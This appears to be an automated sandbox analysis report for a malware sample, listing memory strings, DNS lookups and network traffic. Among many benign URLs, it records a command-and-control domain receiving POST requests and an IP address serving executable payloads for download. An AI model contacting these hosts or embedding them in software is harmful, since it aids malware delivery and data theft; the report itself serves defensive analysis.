d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2485888026.0000000000BFA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeAppleWebKit/537.36
Source: file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe$0
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2156655857.0000000001643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_126.5.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2179170987.0000000005DF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_126.5.dr, chromecache_127.5.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_126.5.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_126.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_126.5.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: file.exe, 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206993654.0000000001674000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206625378.000000000166D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2206894873.0000000001671000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155221118.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2246636498.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228886477.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/3SozW
Source: file.exe, 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/C
Source: file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379134452.000000000166E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2388576594.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2155221118.000000000165E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379231314.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2246636498.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2388311898.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api8eGNei1kuTiEQW4l
Source: file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiA
Source: file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apibK0a6
Source: file.exe, 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/g
Source: file.exe, 00000000.00000003.2379134452.000000000166E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2388576594.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2379231314.0000000001670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/om.
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_126.5.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chromecache_126.5.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_108.5.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_108.5.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_118.5.dr, chromecache_108.5.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2180600142.0000000006060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
